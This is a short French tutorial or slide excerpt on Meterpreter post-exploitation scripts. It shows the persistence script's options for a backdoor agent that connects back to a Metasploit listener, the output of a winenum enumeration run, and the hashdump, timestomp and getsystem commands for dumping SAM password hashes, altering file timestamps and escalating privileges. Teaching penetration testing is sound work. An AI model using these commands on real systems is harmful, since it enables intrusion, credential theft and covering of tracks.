Exemple de scripts Meterpreter

```
meterpreter > run persistence -h

OPTIONS:

    -A        Automatically start a matching multi/handler to connect to the agent
    -U        Automatically start the agent when the User logs on
    -X        Automatically start the agent when the system boots
    -h        This help menu
    -i   The interval in seconds between each connection attempt
    -p   The port on the remote host where Metasploit is listening
    -r   The IP of the system running Metasploit listening for the connect back
```

```
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 10.211.55.128:4444...
[*] Saving report to /root/.msf3/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_2009071
[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine .........
[*]     This is a VMware Workstation/Fusion Virtual Machine
[*] Running Command List ...
[*]     running command cmd.exe /c set
[*]     running command arp -a
[*]     running command ipconfig /all
[*]     running command ipconfig /displaydns
[*]     running command route print
[*]     running command net view
[*]     running command netstat -nao
[*]     running command netstat -vb
[*]     running command netstat -ns
[*]     running command net accounts
[*]     running command net accounts /domain
[*]     running command net session
[*]     running command net share
[*]     running command net group
[*]     running command net user
[*]     running command net localgroup
[*]     running command net localgroup administrators
[*]     running command net group administrators
[*]     running command net view /domain
[*]     running command netsh firewall show config
[*]     running command tasklist /svc
[*]     running command tasklist /m
```

Meterpreter : module « pris »

- Trois commandes
  - hashdump
    - récupération des empreintes LM et NT de la SAM
  - timestomp
    - Modification des temps d’accès à des fichiers
  - getsystem
    - Elévation de privilège